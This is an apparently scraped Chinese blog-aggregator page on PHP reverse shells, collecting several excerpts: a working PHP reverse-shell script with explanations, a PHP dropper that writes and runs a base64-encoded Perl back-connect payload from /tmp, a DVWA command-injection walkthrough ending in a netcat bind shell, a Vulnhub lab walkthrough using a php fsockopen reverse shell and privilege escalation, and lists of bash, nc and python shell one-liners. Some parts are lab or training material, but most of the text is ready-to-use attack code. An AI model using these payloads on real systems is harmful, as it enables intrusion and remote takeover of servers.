精华内容
下载资源
问答
  • PHP反弹shell

    千次阅读 2019-09-26 17:59:58
    ②、假设木马已上传至服务器且可以访问(即执行代码才能反弹shell)。 ③、攻击机器和受害服务器要处于同一网段。 1、划线为攻击机的IP+端口。 2、攻击机监听自身端口4444,即可获取执行shell。 <?php ...

    步骤详解:
    前提:
    ①、PHPStudy开启相关服务。
    ②、假设木马已上传至服务器且可以访问(即执行代码才能反弹shell)。
    ③、攻击机器和受害服务器要处于同一网段。
    1、划线为攻击机的IP+端口。
    在这里插入图片描述2、攻击机监听自身端口4444,即可获取执行shell。
    在这里插入图片描述

    <?php 
    set_time_limit(0); 
    $ip=$_POST['ip'];
    $port=$_POST['port'];
    $fp=@fsockopen($ip,$port,$errno,$errstr);
    if(!$fp){echo "error";}
    else{
    	fputs($fp,"\n+++++++++++++connect sucess+++++++++\n");
    	while(!feof($fp)){
    	fputs($fp,"shell:");
    	$shell=fgets($fp);
    	$message=`$shell`;
    	fputs($fp,$message);
    	}
    fclose($fp);
    }
    ?>
    

    代码注释:
    1、set_time_limit()来控制运行时间。如 set_time_limit(800) ,其中将秒数如果设为0 ,表示持续运行到程序结束。
    2、$_POST['ip'] $_POST['port']表示传递的攻击的IP,PORT。
    3、$fp=@fsockopen($ip,$port,$errno,$errstr); fsockopen — 打开一个网络连接或者一个Unix套接字连接,并且使用@屏蔽报错信息,返回一个文件句柄$fp,可以被其他文件类函数调用,例如代码中的fputs(),fgets()
    4、判断$fp是否存在,不存在报错echo "error",存在就使用fputs()函数写入连接成功信息。
    5、feof() 函数检查是否已到达文件末尾(EOF)。如果出错或者文件指针到了文件末尾(EOF)则返回 TRUE,否则返回 FALSE。使用while在不到读取的文件末尾时一直执行。
    6、fputs($fp,"shell:");向句柄输出shell:的提示
    7、$shell=fgets($fp);将攻击机输入命令通过文件句柄$fp传递入受害机器,同时使用fget()函数读取输入的命令,最终传递给$shell变量存储。
    8、$message=`$shell`;php默认将反单引号的内容作为系统命令执行。
    9、fputs($fp,$message);将结果输出至攻击机端显示。
    10、fclose($fp);关闭文件句柄。

    展开全文
  • function which($pr){ $path = execute("which $pr"); return ($path ? $path : $pr); } function execute($cfe) {... //上传并访问,用nc -l -vv -p [port]反弹shell ?> 一键复制 编辑 Web IDE 原始数据 按行查看 历史

    function which($pr){

    $path = execute("which $pr");

    return ($path ? $path : $pr);

    }

    function execute($cfe) {

    $res = '';

    if ($cfe) {

    if(function_exists('exec')) {

    @exec($cfe,$res);

    $res = join("\n",$res);

    }

    elseif (function_exists('shell_exec')) {

    $res = @shell_exec($cfe);

    }

    elseif (function_exists('system')) {

    @ob_start();

    @system($cfe);

    $res = @ob_get_contents();

    @ob_end_clean();

    }

    elseif (function_exists('passthru')) {

    @ob_start();

    @passthru($cfe);

    $res = @ob_get_contents();

    @ob_end_clean();

    }

    elseif (@is_resource($f = @popen($cfe, "r"))) {

    $res = '';

    while(!@feof($f)) {

    $res .= @fread($f,1024);

    }

    @pclose($f);

    }

    }

    return $res;

    }

    function cf($fname, $text) {

    if($fp = @fopen($fname, 'w')) {

    @fputs($fp, @base64_decode($text));

    @fclose($fp);

    }

    }

    $yourip = "your IP";

    $yourport = 'your port';

    $usedb = array('perl'=>'perl','c'=>'c');

    $back_connect = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".

    "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".

    "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".

    "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".

    "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".

    "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".

    "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";

    cf('/tmp/.bc',$back_connect);

    $res = execute(which('perl')." /tmp/.bc $yourip $yourport &");

    //上传并访问,用nc -l -vv -p [port]反弹shell

    ?>

    一键复制

    编辑

    Web IDE

    原始数据

    按行查看

    历史

    展开全文
  • php反弹shell实现代码

    2021-01-21 15:38:42
    上传之后,本地监听一个端 口,在代码里设置好反弹IP和端口,然后直接访问,就会弹回来一个shell。 声明,没啥技术含量,主要是用来方便。这样每次可以直接访问这个php页面,直接弹回来shell,不用做其他繁琐的操作...
  • 命令执行漏洞 工具: (1)靶机:Metasploitable2 (2)nc (3)kali dvwa 代码审计:安全级别为low <?php if( isset( $_POST[ 'Submit' ] ) ) { ... $target = $_REQUEST[ '... if( stristr( php_uname( 's' ), 'Wi

    命令执行漏洞

    工具:

    (1)靶机:Metasploitable2
    (2)nc
    (3)kali
    在这里插入图片描述

    dvwa

    代码审计:安全级别为low

    <?php 
    if( isset( $_POST[ 'Submit' ]  ) ) { 
        // Get input 
        $target = $_REQUEST[ 'ip' ]; 
        // Determine OS and execute the ping command. 
        if( stristr( php_uname( 's' ), 'Windows NT' ) ) { 
            // Windows 
            $cmd = shell_exec( 'ping  ' . $target ); 
        } 
        else { 
            // *nix 
            $cmd = shell_exec( 'ping  -c 4 ' . $target ); 
        } 
        // Feedback for the end user 
        echo "<pre>{$cmd}</pre>"; 
    } 
     
    ?> 
     
    

    可以看出没有任何过滤

    代码审计:安全级别:medium

    <?php
     
    if( isset( $_POST[ 'Submit' ]  ) ) {
        // Get input
        $target = $_REQUEST[ 'ip' ];
        // Set blacklist
        $substitutions = array(
            '&&' => '', //增加了&&过滤
            ';'  => '', //增加了;过滤
        );
        // Remove any of the charactars in the array (blacklist).
        $target = str_replace( array_keys( $substitutions ), $substitutions, $target );
     
        // Determine OS and execute the ping command.
        if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
            // Windows
            $cmd = shell_exec( 'ping  ' . $target );
        }
        else {
            // *nix
            $cmd = shell_exec( 'ping  -c 4 ' . $target );
        }
        // Feedback for the end user
        echo "<pre>{$cmd}</pre>";
    }
     
    ?>
    

    可以看到这里增加了&&与;过滤

    代码审计:安全级别为:high

    <?php
     
    if( isset( $_POST[ 'Submit' ]  ) ) {
        // Get input
        $target = trim($_REQUEST[ 'ip' ]);
        // Set blacklist
        $substitutions = array(
            '&'  => '',
            ';'  => '',
            '| ' => '',
            '-'  => '',
            '$'  => '',
            '('  => '',
            ')'  => '',
            '`'  => '',
            '||' => '',
        );
        // Remove any of the charactars in the array (blacklist).
        $target = str_replace( array_keys( $substitutions ), $substitutions, $target );
        // Determine OS and execute the ping command.
        if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
            // Windows
            $cmd = shell_exec( 'ping  ' . $target );
        }
        else {
            // *nix
            $cmd = shell_exec( 'ping  -c 4 ' . $target );
        }
        // Feedback for the end user
        echo "<pre>{$cmd}</pre>";
    }
    ?> 
    

    添加了&&、||、|、()、$、-、` 过滤

    代码审计:impossible

    <?php
    if( isset( $_POST[ 'Submit' ]  ) ) {
        // Check Anti-CSRF token
        checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
        // Get input
        $target = $_REQUEST[ 'ip' ];
        $target = stripslashes( $target );
        // Split the IP into 4 octects
        $octet = explode( ".", $target );
        // Check IF each octet is an integer
        if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
            // If all 4 octets are int's put the IP back together.
            $target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];
            // Determine OS and execute the ping command.
            if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
                // Windows
                $cmd = shell_exec( 'ping  ' . $target );
            }
            else {
                // *nix
                $cmd = shell_exec( 'ping  -c 4 ' . $target );
            }
            // Feedback for the end user
            echo "<pre>{$cmd}</pre>";
        }
        else {
            // Ops. Let the user name theres a mistake
            echo '<pre>ERROR: You have entered an invalid IP.</pre>';
        }
    }
    // Generate Anti-CSRF token
    generateSessionToken();
    ?> 
    

    这里将IP地址的每个地址块都分割然后判断是否为数字

    函数解析:

    stripslashes(string) : 该函数会删除字符串string中的反斜杠,返回已剥离反斜杠的字符串。

    explode(separator,string,limit): 该函数把字符串打散为数组,返回字符串的数组。参数separator规定在哪里分割字符串,参数string是要分割的字符串,可选参数limit规定所返回的数组元素的数目。

    is_numeric(string): 该检测string是否为数字或数字字符串,如果是返回TRUE,否则返回FALSE。

    可以看到,Impossible级别的代码加入了Anti-CSRF token,同时对参数ip进行了严格的限制,只有诸如“数字.数字.数字.数字”的输入才会被接收执行,因此不存在命令注入漏洞。

    漏洞利用

    利用方式有:

    ;解析:将;前后的命令都执行(且)
    && 解析:在&&前一条命令执行成功后,运行&&后一条(并)
    &解析:二条命令都执行(且)
    | 解析:不管前一条是否执行成功,后一条都执行
    || 解析:当前一条命令成功执行,后一条不执行

    在这里插入图片描述

    这里是 ; 演示

    在这里插入图片描述

    这里是 &&演示 前后命令都没问题

    在这里插入图片描述

    空表示错误命令
    这里 & &演示 前面命令错误,后面命令正确 无输出

    在这里插入图片描述

    这里是 || 演示,前面命令正确,后面命令不执行
    在这里插入图片描述
    这里 || 演示,前面命令错误,直接进行后面命令

    在这里插入图片描述

    这里 | 演示 前一条命令错误,执行后一条命令

    拿shell

    通过命令使目标服务器打开侦听端口
    ,进而使用nc进行拿shell

    ;mkfifo /tmp/pipe;sh /tmp/pipe | nc -nlp 4444 > /tmp/pipe
    

    (这里使4444端口)
    接下来我们只需要在我们kali上使用nc进行连接即可
    (192.168.1.175为目标服务器IP)

    sudo nc 192.168.1.175 4444 
    

    如图:已拿到shell
    在这里插入图片描述

    觉得对各位有帮助的可以点个赞、留个言。
    后面会相继推出我的自学之旅。
    在这里插入图片描述

    展开全文
  • 5.开启监听,尝试通过php反弹shell ;php -r '$sock=fsockopen("192.168.109.159",7777);exec("/bin/sh -i <&3 >&3 2>&3");' 使用URL编码,防止不执行 反弹shell成功 使用python调用本地shell ...

    靶机下载地址:https://download.vulnhub.com/acid/Acid.rar

    1.主机发现

    2.端口信息扫描

    3.访问该端口

    查看源码,未发现有效信息

    4.尝试扫描一下web目录:打开kali自带的DirBuster或者御剑

    或者

    依次访问看看

    是一个数据库文件下载

    下载后打开看看,乱码未能解析

    访问Challenge目录下网页

    是一个登录界面,对该目录下继续进行扫描

    继续访问

    下面是一个文件包含漏洞页面,未发现上传点,无法拿shell

    继续扫描/Challenge/Magic_Box下的目录

    依次访问

    发现command.php页面含有ping命令,联系到命令注入,可用burpsuite进行抓包

    给发送包后面添加;ifconfig,并查看返回包,执行成功

    5.开启监听,尝试通过php反弹shell

    ;php -r '$sock=fsockopen("192.168.109.159",7777);exec("/bin/sh -i <&3 >&3 2>&3");'  使用URL编码,防止不执行

    反弹shell成功

    使用python调用本地shell

    查看权限信息以及有哪些用户

    6.提权

    查看用户文件:find / -user acid 2>/dev/null  #查找acid用户文件,并将标准错误重定向到空设备(即不显示报错)

    搜索一下如何利用,发现这是一个wireshark流量抓包文件,传送到本地,用wireshark打开看看

    scp /sbin/raw_vs_isi/hint.pcapng root@192.168.109.159:/root/

    在kali中打开ssh服务

    再次传送文件成功

    用kali自带的wireshark打开

    切换用户试试,用户名:saman  密码:1337hax0r

    切换成功,使用sudo -i提权至root用户

    • sudo : 暂时切换到超级用户模式以执行超级用户权限,提示输入密码时该密码为当前用户的密码,而不是超级账户的密码。不过有时间限制,Ubuntu默认为一次时长15分钟。
    • su : 切换到某某用户模式,提示输入密码时该密码为切换后账户的密码,用法为“su 账户名称”。如果后面不加账户时系统默认为root账户,密码也为超级账户的密码。没有时间限制。
    • sudo -i: 为了频繁的执行某些只有超级用户才能执行的权限,而不用每次输入密码,可以使用该命令。提示输入密码时该密码为当前账户的密码。没有时间限制。执行该命令后提示符变为“#”而不是“$”。想退回普通账户时可以执行“exit”或“logout” 。

    参考:https://forum.ubuntu.org.cn/viewtopic.php?t=372636

    查看flag文件

    展开全文
  • PHP 反弹 shell 获取 webshell root@kali:~# cp /usr/share/webshells/php/php-reverse-shell.php /root/Desktop/test.php 修改要反弹到的主机IP 通过 POST 方法直接将文本内容发给目标...
  • POST http://192.168.1.175/phpMyAdmin/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1 Host:192.168.1.149 Content-Length: 34 <?php passthru('echo "<?php \$cmd = \$_GET["cmd...
  • PHP脚本反弹SHELL

    2014-10-20 13:54:21
    此脚本可以反弹SHELL到指定地址,得到交互交shell
  • 1.bash反弹bash -i >& /dev/tcp/ip_address/port 0>&12.nc反弹nc -e /bin/sh 192.168.2.130 44443.pythonimport socket,subprocess,oss =socket.socket(socket.AF_INET,socket.SOCK_STREAM)s.connect...
  • Linux反弹shell姿势总结

    千次阅读 2020-07-19 15:09:01
    Linux反弹shellBash反弹shellnc反弹shellpython反弹shellphp反弹shell使用php的exec函数反弹shell使用php的fsockopen远程连接Perl反弹shellRuby反弹shellJava反弹shell其他反弹shell姿势 Linux反弹shell场景非常常见...
  • 反弹shell

    2021-04-02 16:02:25
    反弹shell 参考安全客文章 简介 我们在渗透测试的过程中经常会遇到linux主机环境,而在获取linux主机shell是我们经常需要做的是工作内容之一,其中经常会遇到以下几个场景。 一、场景一 我们已经拿下主机的一个...
  • 原标题:Linux 下反弹 Shell 方法总结16004488 所谓反弹shell,指的是我们在自己的机器上开启监听,然后在被攻击者的机器上发送连接请求去连接我们的机器,将被攻击者的shell反弹到我们的机器上。实验环境:CentOS ...
  • php反弹shell 使用php的exec函数反弹shell 使用php的fsockopen远程连接 Perl反弹shell Ruby反弹shell Java反弹shell 其他反弹shell姿势 Linux反弹shell场景非常常见,常用于目标主机反弹shell给攻击机。 攻击机监听...
  • 利用PHP imap反弹shell

    2020-03-29 23:33:47
    其imap_open函数会调用rsh来连接远程shell,而debian/ubuntu中默认使用ssh来代替rsh的功能(也就是说,在debian系列系统中,执行rsh命令实际执行的是ssh命令)。因为ssh命令中可以通过设置-o ProxyCommand来调用第三...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 4,466
精华内容 1,786
关键字:

php反弹shell